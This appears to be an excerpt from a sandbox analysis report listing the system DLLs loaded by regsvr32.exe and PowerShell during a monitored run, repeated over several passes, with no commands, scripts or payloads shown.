Source: C:\Windows\System32\regsvr32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
